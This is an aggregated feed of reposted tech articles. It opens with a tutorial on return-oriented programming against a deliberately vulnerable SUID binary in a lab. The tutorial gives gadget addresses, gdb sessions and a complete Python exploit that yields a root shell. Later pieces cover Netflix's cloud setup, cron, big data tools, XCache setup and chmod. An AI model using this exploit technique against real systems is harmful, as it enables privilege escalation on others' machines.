Quantcast
Channel: Sameh Attia
Viewing all 1409 articles
Browse latest View live

An Introduction to Returned-Oriented Programming (Linux)

$
0
0
http://resources.infosecinstitute.com/an-introduction-to-returned-oriented-programming-linux


INTRODUCTION:
In 1988, the first buffer overflow was exploited to compromise many systems. After 20 years, applications are still vulnerable, despite the efforts made in hope to reduce their vulnerability.
In the past, the most complex priority was discovering bugs, and nobody cared about writing exploits because it was so easy. Nowadays, exploiting buffer overflows is also difficult because of advanced defensive technologies.
Some strategies are adopted in combination to make exploit development more difficult than ever like ASLR, Non-executable memory sections, etc.
In this tutorial, we will describe how to defeat or bypass ASLR, NX, ASCII ARMOR, SSP and RELRO protection in the same time and in a single attempt using a technique called Returned Oriented Programming.
Let’s begin with some basic/old definitions:
→ NX: non-executable memory section (stack, heap), which prevent the execution of an arbitrary code. This protection was easy to defeat it if we make a correct ret2libc and also borrowed chunk techniques.
→ ASLR: Address Space Layout Randomization that randomizes a section of memory (stack, heap and shared objects). This technique is bypassed by brute forcing the return address.
→ ASCII ARMOR: maps libc addresses starting with a NULL byte. This technique is used to prevent ret2lib attacks, hardening the binary.
→ RELRO: another exploit mitigation technique to harden ELF binaries. It has two modes:
  • Partial Relro: reordering ELF sections (.got, .dtors and .ctors will precede .data/.bss section) and make GOT much safer. But PLT GOT still writable, and the attacker still overwrites it.
Non-PLT GOT is read-only.
Compile command: gcc -Wl,-z,relro -o bin file.c
  • Full Relro: GOT is remapped as READ-ONLY, and it supports all Partial RELRO features.
Compiler command: gcc -Wl,-z,relro,-z,now -o bin file.c

→ SSP: Stack Smashing Protection:
Our Exploit will bypass all those mitigations, and make a reliable exploit.
So let’s go
OVERVIEW OF THE CODE:

Here is the vulnerable code. The binary and code are included in the last of tutorial.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include
#include
#include
#include <sys/types.h>
#include <sys/stat.h>
#include
#include
voidfill(int,int,int*);
intmain(intargc,char** argv)
{
FILE* fd;
intin1,in2;
intarr[2048];
charvar[20];
if(argc !=2){
printf("usage : %s n",*argv);
exit(-1);
}
fd = fopen(argv[1],"r");
if(fd == NULL)
{
fprintf(stderr,"%sn",strerror(errno));
exit(-2);
}
memset(var,0,sizeof(var));
memset(arr,0,2048*sizeof(int));
while(fgets(var,20,fd))
{
in1 = atoll(var);
fgets(var,20,fd);
in2 = atoll(var);
/* fill array */
fill(in1,in2,arr);
}
}
voidfill(intof,intval,int*tab)
{
tab[of]=val;
}
First thing let’s explain what the code does.
It opens a filename, reads from it line by line and holds in1 as an offset of table and in2 as a value of this offset then it calls fill function to fill the array.
tab[in1]=in2 ;
So a buffer overflow occurred when in1 is the offset of return address, this we can write whatever there.
Let’s compile the vulnerable code:
1
2
3
gcc -o vuln2 vuln2.c -fstack-protector -Wl,-z,relro,-z,now
chown root:root vuln2
chmod +s vuln2
And we check the resulting binary using checksec.sh
1
2
3
4
user@protostar:~/course$ checksec.sh --file vuln2
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH vuln2
user@protostar:~/course$
So the binary is hardened, but motivated attackers still succeed in their intent.
As we can see we can overwrite EIP directly, and if we assume that we can do that, the SSP does some checks to see if the return address has changed, if yes then our exploit will fail.
OWNING EIP:

Let’s open the binary with gdb and disassemble the main function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb$ disas main
Dump of assembler code forfunction main:
0x08048624
+0>: push ebp
...
0x08048754
+304>: mov DWORD PTR [esp+0x202c],eax
0x0804875b
+311>: lea eax,[esp+0x2c]
0x0804875f
+315>: mov DWORD PTR [esp+0x8],eax
0x08048763
+319>: mov eax,DWORD PTR [esp+0x202c]
0x0804876a
+326>: mov DWORD PTR [esp+0x4],eax
0x0804876e
+330>: mov eax,DWORD PTR [esp+0x2030]
0x08048775
+337>: mov DWORD PTR [esp],eax
0x08048778
+340>: call 0x80487be
0x0804877d
+345>: mov eax,DWORD PTR [esp+0x2034]
0x08048784
+352>: mov DWORD PTR [esp+0x8],eax
...

Let’s create a simple file named ‘simo.txt’ and put the following:
1
2
1
10
We make some breakpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb$ b *main
Breakpoint 1 at 0x8048624
gdb$ b *0x08048778
Breakpoint 2 at 0x8048778
gdb$ run file
Breakpoint 1, 0x08048624 in main ()
gdb$ x/x $esp
0xbffff7cc:    0xb7eabc76
gdb$ continue
Breakpoint 2, 0x08048778 in main ()
gdb$ x/4x $esp
0xbfffd770:    0x00000001    0x0000000a    0xbfffd79c    0x00000000
gdb$ x/i 0x08048778
0x8048778 <main+340>:    call 0x80487be
gdb$
In the first bpoints we see the return address
0xbffff7dc: is main return address
0xbfffd79c : the address of arr
If you’re familiar with stack frame, you’ll notice that we made a call: fill(1,10,arr)
then it does the following : arr[1]=10 ;
A clever hacker will notice that the offset between the address of arr and return address is 8240
(0xbffff7cc-0xbfffd79c = 8240) and because we are playing with integer values, then we must divide the result by 4 ( sizeof(int)) .so, 8240/4=2060.
So if we put an offset equal to 2060 we can write to EIP, let’s check:
Put the following in simo.txt:
1
2
2060
1094861636
The result is:
1
2
3
4
5
6
7
8
Program received signalSIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 00000000 EBX: B7FD5FF4 ECX: B7FDF000 EDX: 00000000 o d I t s Z a P c
ESI: 00000000 EDI: 00000000 EBP: BFFFF848 ESP: BFFFF7D0 EIP: 41424344
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError whilerunning hook_stop:
Cannot access memory at address 0x41424344
0x41424344 in ?? ()
gdb$
So we are successfully own EIP and bypassed Stack Smashing Protection.
Let’s build our exploit now.
BUILDING THE EXPLOIT:
Our aim now is to build a chained ROP to execute execve(). As we can see, we don’t have a GOT entry for this function and libc is randomized.
So what we will do first is to leak a libc function address for GOT then we will do some trivial calculation to get the exact execve libc address.
And remember that we cannot overwrite GOT because of « Full Relro » .
1
2
3
4
5
6
7
8
9
10
11
12
13
readelf -r vuln2
08049fcc 00000107 R_386_JUMP_SLOT 00000000 __errno_location
08049fd0 00000207 R_386_JUMP_SLOT 00000000 strerror
08049fd4 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__
08049fd8 00000407 R_386_JUMP_SLOT 00000000 fgets
08049fdc 00000507 R_386_JUMP_SLOT 00000000 memset
08049fe0 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main
08049fe4 00000707 R_386_JUMP_SLOT 00000000 atoll
08049fe8 00000807 R_386_JUMP_SLOT 00000000 fopen
08049fec 00000907 R_386_JUMP_SLOT 00000000 printf
08049ff0 00000a07 R_386_JUMP_SLOT 00000000 fprintf
08049ff4 00000b07 R_386_JUMP_SLOT 00000000 __stack_chk_fail
08049ff8 00000c07 R_386_JUMP_SLOT 00000000 exit
Let’s leak the address of printf (you can choose any GOT entry)
Want to learn more?? The InfoSec Institute Reverse Engineering course teaches you everything from reverse engineering malware to discovering vulnerabilities in binaries. These skills are required in order to properly secure an organization from today's ever evolving threats. In this 5 day hands-on course, you will gain the necessary binary analysis skills to discover the true nature of any Windows binary. You will learn how to recognize the high level language constructs (such as branching statements, looping functions and network socket code) critical to performing a thorough and professional reverse engineering analysis of a binary. Some features of this course include:

  • CREA Certification
  • 5 days of Intensive Hands-On Labs
  • Hostile Code & Malware analysis, including: Worms, Viruses, Trojans, Rootkits and Bots
  • Binary obfuscation schemes, used by: Hackers, Trojan writers and copy protection algorithms
  • Learn the methodologies, tools, and manual reversing techniques used real world situations in our reversing lab.
1
2
3
4
5
6
7
gdb$ x/x 0x08049fec
0x8049fec <_GLOBAL_OFFSET_TABLE_+44>:    0xb7edbf90
gdb$ p execve
$9 = {} 0xb7f2c170
gdb$ p 0xb7f2c170-0xb7edbf90
$10 = 328160
gdb$
The offset between printf and execve is 328160.
So if we add the address of printf libc to 328160 we get the execve libc address dynamically by leaking the printf address that is loaded in GOT.
1
execve = printf@libc+ 328160
So we must find some ROPs
The next step is finding some useful gadgets to build a chain of instructions. We’ll use ROPEME to do that.
We generate a .ggt file which contains some instructions finished by a ret.
Our purpose is to do some instruction, then return into our controlled code.
1
ROPeMe> generate vuln 6
We need those useful gadgets to build our exploit.
1
2
3
0x804886eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx
0x804861fL: call eax ; leave ;;
0x804849cL: pop eax ; pop ebx ; leave ;;
So let’s build our ROP using those gadgets.
Our attack then: load 328160 into EAX, 0x138e9ff4 into EBX. You’ll ask me what is 0x138e9ff4?
Well we have a gadget like this:
1
0x804886eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx
ebx-0xb8a0008= printf@got then , ebx = printf@got+ 0xb8a0008 = 0x138e9ff4
So EAX = 328160 and EBX = 0x138e9ff4.
When «add eax [ebx-0xb8a0008]» executed EAX will contain the address of execve dynamically
After that, we make call%eax to execute our command and don’t forget to put the correct parameters on the stack.
There is a small problem which must be resolved. When the leave instruction is executed, it loads the saved return address of the main lead losing our controlled data. The solution is easy; like what we did earlier. Some trivial calculations, and we get the correct saved return address.
1
2
3
4
0x8048778 <main+340>:    call 0x80487be
Breakpoint 1, 0x08048778 in main ()
gdb$ x/4x $esp
0xbfffd770:    0x0000080c    0x0804849c    0xbfffd79c    0x00000000
We continue.
1
2
3
4
0x804849f <_init+47>:    ret
0x0804849f in _init ()
gdb$ x/x $esp
0xbffff84c:    0x0804886e
When «leave » is executed, ESP points to another area that we are not able to control.
Let’s predict where ESP points exactly: as we did earlier, we subtract arr address from ESP and dividing by 4: (0xbffff84c-0xbfffd79c)/4 = 2092
So our payload will look like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
r ="n"
p =str(2060) +r # offset of return address
p +=str(0x804849c) +r # pop eax ; pop ebx ; leave ;;
p +=str(2061) +r
p +=str(328160)+r # EAX
p +=str(2062)+r
p +=str(0x138e9ff4)+r # EBX
p +=str(2092) +r
p +=str(0x804886e)+r # add eax [ebx-0xb8a0008] ; add esp 0x4
#; pop ebx
p +=str(2096) +r
p +=str(0x41414141) +r
o =open("simo.txt","wb")
o.write(p)
o.close()
Let’s see what happens:
1
2
3
4
5
6
7
8
9
10
Program received signalSIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: B7F2C170 EBX: 00000002 ECX: B7FDF000 EDX: 00000000 o d I t S z a p c
ESI: 00000000 EDI: 00000000 EBP: BFFFF874 ESP: BFFFF860 EIP: 41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError whilerunning hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ x/x $eax
0xb7f2c170 :    0x8908ec83
gdb$
It works!
So EAX contains the address of execve and we still control EIP. The next step is to find some a printable string and two null values to make parameters for execve.
We search inside the binary using objdump:
1
2
3
4
5
6
7
8
user@protostar:~/course$ objdump -s vuln2 |more
vuln2: file format elf32-i386
Contents of section .interp:
8048134 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so
8048144 2e3200 .2.
Contents of section .note.ABI-tag:
8048148 04000000 10000000 01000000 474e5500 ............GNU.
8048158 00000000 02000000 06000000 12000000 ................
0x0x8048154 points to a printable ASCII: « GNU » and 8048158 points to NULL bytes.
Our exploit is then: execve(0x 8048158, 0×8048154, 0×8048154). But we don’t have GNU as a command, well we will create a wrapper named GNU.c :
1
2
3
4
5
6
7
#include
/* compile : gcc -o GNU GNU.c
intmain()
{
char*args[]={"/bin/sh",NULL};
execve(args[0],args,NULL);
}
Then add path where GNU is located to $PATH variable environment :
export PATH=/yourpath/:$PATH
Our final exploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
r ="n"
p =str(2060) +r # offset of return address
p +=str(0x804849c) +r # pop eax ; pop ebx ; leave ;;
p +=str(2061) +r
p +=str(328160)+r # offset between printf and execve
p +=str(2062)+r
p +=str(0x138e9ff4)+r # printf@got + 0xb8a0008
p +=str(2092) +r
p +=str(0x804886e)+r # add eax [ebx-0xb8a0008] ; add esp 0x4
#; pop ebx
p +=str(2096) +r
p +=str(0x804861f) +r #: call eax ; leave ;;
p +=str(2097) +r
p +=str(0x8048154) +r # "GNU"
p +=str(2098)+r
p +=str(0x8048158) +r # pointer to NULL
p +=str(2099)+r
p +=str(0x8049fb0) +r # pointer to NULL
o =open("simo.txt","wb")
o.write(p)
o.close()
let’s run our attack :
1
2
3
4
5
user@protostar:~/course$ python exploit.py
user@protostar:~/course$ ./vuln2 simo.txt
# whoami
root
#
It works, so we successfully got the shell with SUID privileges, and we bypassed all exploit mitigations in one attempt .
If you opened the binary with gdb you’ll notice that the addresses changed during the execution of process, and our exploit is still reliable and resolves execve reliably.
Conclusion:
We presented a new attack against programs vulnerable to stack overflows to bypass two of the most widely used protections (NX & ASLR) including some others (Full RELRO,ASCII ARMOR, SSP) .
With our exploit, we extracted the address space from vulnerable process information about random addresses of some libc functions to mount a classical ret2libc attack.
References :

PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP

EXPLOITS
http://force.vnsecurity.net/download/longld/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf

Surgically returning to randomized lib(c)
http://security.dico.unimi.it/~gianz/pubs/acsac09.pdf


How Netflix Works

$
0
0
http://www.zdnet.com/the-biggest-cloud-app-of-all-netflix-7000014298


Netflix, the popular video-streaming service that takes up a third of all internet traffic during peak traffic hours isn't just the single largest internet traffic service. Netflix, without doubt, is also the largest pure cloud service.
netflixcloud-620x457
Netflix, with more than a billion video delivery instances per month, is the largest cloud application in the world.
At the Linux Foundation's Linux Collaboration Summit in San Francisco, California, Adrian Cockcroft, director of architecture for Netflix's cloud systems team, after first thanking everyone "for building the internet so we can fill it with movies", said that Netflix's Linux, FreeBSD, and open-source based services are "cloud native".
By this, Cockcroft meant that even with more than a billion video instances delivered every month over the internet, "there is no datacenter behind Netflix". Instead, Netflix, which has been using Amazon Web Services since 2009 for some of its services, moved its entire technology infrastructure to AWS in November 2012.
Specifically, depending on customer demand, Netflix's front-end services are running on 500 to 1,000 Linux-based Tomcat JavaServer and NGINX web servers. These are empowered by hundreds of other Amazon Simple Storage Service (S3) and the NoSQL Cassandra database servers using the Memcached high-performance, distributed memory object caching system. All of this, and more besides, are distributed across three Amazon Web Services availability zones. Every time you visit Netflix either with a device or a web browser, all these are brought together within a second to show you your video selections.
According to Cockcroft, if something goes wrong, Netflix can continue to run the entire service on two out of three zones. Netcraft didn't simply take Amazon's word for this. They tested out total Amazon Elastic Compute Cloud (EC2) failures with its open-source Chaos Gorilla software. "We go around trying to break things to prove everything is resistant to it," said Cockcroft. Netflix, in concert with Amazon, is working on multi EC2 region availability. Once in place, an entire EC2 zone failure won't stop Netflix videos from flowing to customers.
That won't be easy though. It's not so much that the problem is replicating videos and services across the EC2 zones. Netflix already has its own content delivery network (CDN), Open Connect, and servers placed at local ISP hubs for that. No, the real problem is setting the Domain Name System (DNS) so that users are directed to the right Amazon zone when one is down. That's because Cockcroft said, DNS provider wildly different application programming interfaces (API)s, and they're designed to be hand-managed by an engineer and thus are not at all easy to automate.
That isn't stopping Netflix from addressing the problem just because it's difficult. Indeed, Netflix plans on failure. As Cockcroft titled his talk, Netflix is about dystopia as a service. The plan isn't if something will fail on the cloud, it's on how to keep working no matter how the clouds or specific services fail. Netflix's services are designed to, when something go wrong, gradually degrade rather than fail completely.
As he said, sure, perfection, utopia would be great, but if you're always striving for perfection, you always end up compromising. So instead of striving for perfection, Netflix is continuously updating its systems in real time rather than perfecting them. How fast is that? Netflix wants to "code features in days instead of months; we want to deploy new hardware in minutes instead of weeks; and we want to see instant responses in seconds instead of hours". By deploying on the cloud, Netflix can do all of this.
Sure, sometimes, this doesn't work. In December 2012, for example, a failure in AWS's Elastic Load Balancer in the US-East-Region1 datacenter brought Netflix down during the Christmas holiday.
On the other hand, the Netflix method of producing code sooner rather than later, and running in such a way that the service keeps going even though some components are — not may, but are— broken and inefficient at any given time, has produced a service that is capable of being the single largest consumer of internet bandwidth. Clearly, it's not perfect, but Netflix's design decision to "create a highly agile and highly available service from ephemeral and often broken components" on the cloud works, and as far as Netflix is concerned, for day to day cloud-based video delivery, that's much better than "perfection" could ever be.
Related stories

Unix: Timing your cron jobs

$
0
0
http://www.itworld.com/operating-systems/354358/unix-timing-your-cron-jobs


Most of my Unix admin cronies cut their teeth on tools like cron. There is nearly nothing as fundamentally essential to administering Unix systems are writing scripts and then setting them up to run without intervention. Even so, cron has become more versatile over the decades and there are a lot of nice "tricks" that you can use to tailor your cron tasks to the work you need to do.
The traditional fields are fairly easy to remember -- as long as you can keep in mind that the smallest time unit that you can address is minutes and that the fields go from small units (minute) to large (month) until you hit the day of week field. I still often tick off the time fields on the fingers of my left hand. Let's see ...
               ____
.'` __/_______ minute after the hour (0-59)
---' -'` ______) hour of the day (0-23)
_______) day of the month (1-X where X depends on the month)
_______) month of the year (1-12)
-----..___________) day of the week (0-6)
And, of course, an * in any of these time fields to mean "any" of the legitimate values
As an example, this cron taks would run every 15 minutes after the hour:
15 * * * * /usr/local/runtask
Easy enough! But there are many options that make scheduling tasks to run very frequently or very infrequently even easier.
For one thing, you can tell cron to run a process multiple times an hour, multiple times within a day, or even multiple times in a week by selecting two values and separating them with a comma. The value 6,18 in the hour field, for example, might tell cron to run a task at 6 AM and 6 PM:
0 6,18 * * * /usr/local/runtask
where this one would tell cron to run the process at 6:15 AM, 6:45 AM, 6:15 PM and 6:45 PM:
15,45 6,18 * * * /usr/local/runtask
You can also tell cron to run your tasks over a range of values -- such as Monday through Friday (and not on the weekends) or from 8 AM to 6 PM as shown here:
0 23 * * 1-5 /usr/local/weekdays
0 8-18 * * 1-5 /usr/local/workhours
And, while I've seen numerous instances of "0,15,30,45" used to run a job every 15 minutes, the */15 specification does the same thing and is neater and easier.
I was also quite surprised when I first noticed that the strings sun, mon, tue, wed, thu, fri and sat also work for the day of the week field. I've become so used to 0-6 that I sometimes refer to Saturdays as "day 6" and confuse my friends.
Linux systems also provide some very useful shorthands for running tasks at infrequent intervals. Instead of the five time fields shown above, you can use any of these:
@yearly runs on January 1st at zero at 00:00 (equivalent to 0 0 1 1 *)
@monthly runs on the first of every month at 00:00 (equivalent to 0 0 1 * *)
@daily runs at the beginning of every day (equivalent to 0 0 * * *)
@hourly runs every hour (equivalent to 0 * * * *)
@reboot runs when the system boots
These top four options are very handy as long as you're happy to run your tasks at 00:00. Otherwise, you need to
set your time values using the typical five fields.
Cron allows you to run a task as frequently as once a minute and as infrequently as once every 6-7 years (e.g., if you run a process at 6 AM on the 13th of May only if it's a Friday).
* * * * * /usr/local/everyminute
10 10 13 5 5 /usr/local/almostnever
Anther useful thing to know in case you're new to cron is that, by setting your EDITOR environment variable, you can tell crontab -- the command you must use to edit or display your cron tasks -- which editor you want to use to set up your cron tasks. This will normally default to vi.

4 Hot Open Source Big Data Projects

$
0
0
http://www.enterpriseappstoday.com/data-management/4-hot-open-source-big-data-projects.html


There's more -- much more -- to the Big Data software ecosystem than Hadoop. Here are four open source projects that will help you get big benefits from Big Data.
It's difficult to talk about Big Data processing without mentioning Apache Hadoop, the open source Big Data software platform. But Hadoop is only part of the Big Data software ecosystem. There are many other open source software projects that are emerging to help you get more from Big Data.
Here are a few interesting ones that are worth keeping an eye on.

Spark

Spark bills itself as providing "lightning-fast cluster computing" that makes data analytics fast to run and fast to write. It's being developed at UC Berkeley AMPLab and is free to download and use under the open source BSD license.
So what does it do? Essentially it's an extremely fast cluster computing system that can run data in memory.  It was designed for two applications where keeping data in memory is an advantage: running iterative machine learning algorithms, and interactive data mining.
It's claimed that Spark can run up to 100 times faster than Hadoop MapReduce in these environments. Spark can access any data source that Hadoop can access, so you can run it on any existing data sets that you have already set up for a Hadoop environment.
Download Spark

Drill 

Apache Drill is "a distributed system for interactive analysis of large-scale datasets."
MapReduce is often used to perform batch analysis on Big Data in Hadoop, but what if batch processing isn't suited to the task at hand: What if you want fast results to ad-hoc queries so you can carry out interactive data analysis and exploration?
Google developed its own solution to this problem for internal use with Dremel, and you can access Dremel  as a service using Google's BigQuery.
However if you don't want to use Google's Dremel on a software-as-a-service basis, Apache is backing Drill as an Incubation project. It's based on Dremel, and its design goal is to scale to 10,000 servers or more and to be able to process petabytes of data and trillions of records in seconds.
Download Drill source code

D3.js

D3 stands for Data Driven Documents, and D3.js is an open source JavaScript library which allows you to manipulate documents that display Big Data. It was developed by New York Times graphics editor Michael Bostock.
Using D3.js you can create dynamic graphics using Web standards like HTML5, SVG and CSS. For example, you can generate a plain old HTML table from an array of numbers, but more impressively you can make an interactive bar chart using scalable vector graphic from the same data.
That barely scratches the surface of what D3 can do, however. There are dozens of visualization methods -- like chord diagrams, bubble charts, node-link trees and dendograms -- and thanks to D3's open source nature, new ones are being contributed all the time.
D3 has been designed to be extremely fast, it supports Big Data datasets, and it has cross-hardware platform capability. That's meant it has become an increasingly popular tool for showing graphical visualizations of the results of Big Data analysis. Expect to see more of it in the coming months.
Download D3.js

HCatalog

HCatalog is an open source metadata and table management framework that works with Hadoop HDFS data, and which is distributed under the Apache license. It's being developed by some of the engineers at Hortonworks, the commercial organization that's the sponsor of Hadoop (and which also sponsors Apache).
The idea of HCatalog is to liberate Big Data by allowing different tools to share Hive. That means that Hadoop users making use of a tool like Pig or MapReduce or Hive have immediate access to data created with another tool, without any loading or transfer steps. Essentially it makes the Hive metastore available to users of other tools on Hadoop by providing connectors for Map Reduce and Pig. Users of those tools can read data from and write data to Hive’s warehouse.
It also has a command line tool, so that users who do not use Hive can operate on the metastore with Hive Data Definition Language statements.
Download HCatalog

And More

Other open source big data projects to watch:
Storm.Storm makes it easy to reliably process unbounded streams of data, doing for real-time processing what Hadoop did for batch processing.
Kafka.Kafka is a messaging system that was originally developed at LinkedIn to serve as the foundation for LinkedIn's activity stream and operational data processing pipeline. It is now used at a variety of different companies for various data pipeline and messaging uses.
Julia.Julia is a high-level, high-performance dynamic programming language for technical computing, with syntax that is familiar to users of other technical computing environments.
Impala.Cloudera Impala is a distributed query execution engine that runs against data stored natively in Apache HDFS and Apache HBase.

Install XCache to Accelerate and Optimize PHP Performance

$
0
0
http://www.tecmint.com/install-xcache-to-accelerate-and-optimize-php-performance


In most cases PHP performance can slow down the performance of websites. To optimize and accelerate website performance you need to improve the PHP performance. For this purpose, you can use opcode cachers such as eAccelerator, APC, Memcached, XCache, etc. Personally, my favourite choice is XCache.
XCache is a free, open source operation code cacher, it is designed to enhance the performance of PHP scripts execution on servers. It optimizes the performance by eliminating the compilation time of PHP code by caching the compiled version of code into the memory and this way the compiled version loads the PHP script directly from the memory. This will surety accelerate the page generation time by up to 5 times faster and also optimizes and increases many other aspects of php scripts and reduce website/server load.
May not be 5 times faster, but it will definite improves the standard PHP installation with the opcode XCaher. This article explains how to setup and integrate XCache into PHP installation on a RHEL, CentOS, Fedora and Ubuntu, Linux Mint and Debian systems.

Step 1: Installation of XCache for PHP

Users who running an Red Hat based distributions, can able to install XCache through a package manager by enabling epel repository. Once you’ve enabled epel repository, you can use the following yum command to install it.
RHEL/CentOS/Fedora
# yum install php-xcache xcache-admin
By default, XCache is available for Debian based distributions from the package manager. Therefore, you can install the XCache package by using the following apt-get command.
Debian/Ubuntu/Linux Mint
# apt-get install php5-xcache

Step 2: Configuring of XCache for PHP

The XCache.ini configuration file has couple of settings that I do recommend you to understand as they are vital to use in this plugin. The detailed information of XCache configuration settings can be found at XcacheIni. If you don’t want to change any settings, you can use default settings as they are good enough to use with XCache.
RHEL/CentOS/Fedora
# vi /etc/php.d/xcache.ini
Debian/Ubuntu/Linux Mint
# vi /etc/php5/conf.d/xcache.ini
OR
# vi /etc/php5/mods-available/xcache.ini

Step 3: Restarting Apache for XCache

Once you’re done with configuration settings, restart your Apache web server.
# /etc/init.d/httpd restart
# /etc/init.d/apache2 restart

Step 4: Verifying XCache for PHP

Once you’ve restarted web service, type the following command to verify XCache. You should see the XCache lines as shown below.
# php -v
Sample Output
PHP 5.3.3 (cli) (built: Jul  3 2012 16:40:30)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with XCache v3.0.1, Copyright (c) 2005-2013, by mOo
with XCache Optimizer v3.0.1, Copyright (c) 2005-2013, by mOo
with XCache Cacher v3.0.1, Copyright (c) 2005-2013, by mOo
with XCache Coverager v3.0.1, Copyright (c) 2005-2013, by mOo
Alternatively, you can verify XCache by creating a ‘phpinfo.php‘ file under your document root directory (i.e. /var/www/html or /var/www).
vi /var/www/phpinfo.php
Next, add the following php lines to it and save the file.
Open a web browser and call the file like “http://your-ip-address/phpinfo.php“. You will see the following output screen shot.
Install XCache for PHP
XCache Info

Step 5: Enabling XCache Admin Panel for PHP

By default the admin panel is protected with http-auth and in disabled state, if you’ve not set a password. To set user/password open the Xcache.ini file. But, first you have to create md5 password using following command.
# echo -n "typeyourpassword" | md5sum
Sample Output
e10adc3949ba59abbe56e057f20f883e
Now open Xcache.ini file add the generated md5 password. See the following example, add your own password md5 string.
[xcache.admin]
xcache.admin.enable_auth = On
; Configure this to use admin pages
xcache.admin.user = "mOo"
; xcache.admin.pass = md5($your_password)
xcache.admin.pass = "e10adc3949ba59abbe56e057f20f883e"
The simplest way to do so is copying the whole directory xcache (admin was in older release) to your web root directory (i.e. /var/www/html or /var/www).
# cp -a /usr/share/xcache/ /var/www/html/
OR
# cp -a /usr/share/xcache/htdocs /var/www/xcache
OR
cp -a /usr/share/xcache/admin/ /var/www/ (older release)
Now call it from your browser, a http-auth login prompt window will pop-up. Enter your user/pass in, and it’s done.
http://localhost/xcache
OR
http://localhost/admin (older release)
XCache 3.0 Newer Version
XCache 3.0 Admin Panel
XCache 3.0 Admin Panel
XCache 2.0 Older Version
Install xcache admin
XCache Admin Panel

Reference Links

XCache Homepage

One Of The Most Important Tools In Linux – Understanding Chmod

$
0
0
http://www.makeuseof.com/tag/one-of-the-most-important-tools-in-linux-understanding-chmod


There are plenty of features that make Linux special, but one of them that makes it so secure is its permissions system. You can have fine-grain control over all the files in your system and assign permissions to users, groups, and everyone else. The terminal utility “chmod” helps you control all the permissions on your system, so it’s vital to know how chmod works in order to get the most use out of this feature, especially if you’re planning on building your own Linux server.
There’s plenty of information that you’ll need to know in order to understand the mechanics of the permissions system and control it as you please, so get ready to take some notes. Additionally, for starters, it’s best to take a look at 40 terminal commands that you should be familiar with before diving in.

Components Of Permissions

The Linux permissions system is configured in such a way that you can assign file and directory permissions to three different categories – the user, the group, and everyone else. Each file or directory is owned by a user and group, and these fields cannot be empty. If only the user should own the file, then the group name is often the same as the username of the owner.
You can assign specific permissions to the owner, different permissions to the group, and even other permissions to every other user. The different permissions which you can assign to any of these three categories are:
Cable Volt Drop Problems?Eliminate Voltage Drop in long cable runs and Save on cable costs
www.AshleyEdison.com

RHCE-RHCSS-RHCA in IndiaDeveloper, Scripting & LAMP Courses Advanced Courses for Administrators
www.linuxlearningcentre.com

التدريب بمعاملنا والمصانعلخريجي وطلبة هندسة وحاسب-أفق-خبراء تدريب تخصصات الكهرباء وتصميم الويب
www.ofoq-ct.com

Start DownloadDownload Free Software: Converter Free Download!
www.Donwload.pconverter.com

  • read – 4 – ‘r’
  • write – 2 – ‘w’
  • execute – 1 – ‘x’
The numbers 4, 2, and 1 as well as the letters r, w, and x are different ways in which you can assign permissions to a category. I’ll get to why these numbers and letters important later on.
Permissions are important because, as you might assume, they allow certain people to do certain things with the file. Read permissions allow the person or group to read the contents of the file, and copy it if they wish. Write permissions allows the person or group to write new information into the file, or overwrite it completely. In some cases this can also control who is allowed to delete the file; otherwise a sticky bit must be used that won’t be covered here. Finally, execute permissions allow the person or group to run the file as an executable, whether it’s a binary file, an .sh file, or anything else.

Understanding Assigned Permissions

linux chmod
Let’s go in your terminal to any folder on your system – say your Home folder. Go ahead and type in the command ls -l and hit enter. This command lists out all of the files and directories found in whatever folder you’re currently in.
Each line represents a file or directory, and it begins with something that might look like -rw-rw-r–. This shows you the permissions of the file or directory. In this case, the first dash shows us that you’re looking at a file. If it were a directory, there would be a “d” in this spot. The next three spots, rw-, shows us that the user who owns the file has read and write permissions (rw), but no executable permissions as there’s a dash instead of an “x”. The same is repeated for the next three spots, which represents the permissions of the group that owns the file.
Finally, the last three spots are r–, which means that everybody else can only read the file. As a reference, the possible permissions are drwxrwxrwx. It’s also important to note the “dmaxel dmaxel” that you see after the permissions. This shows that the user owner of the file is dmaxel and the group owner is dmaxel. For files that really are only supposed to belong to one user, this is default behavior, but if you’re sharing with a group that has multiple members, then you’ll be able to see that.

Assigning New Permissions

linux chmod
Remember the numbers and letters I mentioned earlier? Here’s where you’ll need them. Let’s say you have a file called “important_stuff” that’s located at the path /shared/Team1/important_stuff. As the team leader, you’ll want to be able to read and write to the file, your group members should only be allowed to read the file, and everyone else shouldn’t have any permissions at all.
In order to make sure that you and your group own the file, you’ll need to run the command chown. An appropriate command for this situation would be chown me:Team1 /shared/Team1/important_stuff. That command runs chown, and tells it that the file at path /shared/Team1/important_stuff should belong to the user “me” and the group “Team1″.
It’s assumed that the desired group has been created and that members have the group added as a secondary group in the system (also not covered here). Now that you have set the owner and group, you can set the permissions. Here, you can use the command chmod 640 /shared/Team1/important_stuff. This starts chmod, and assigns the permissions 640 to the file at path /shared/Team1/important_stuff.
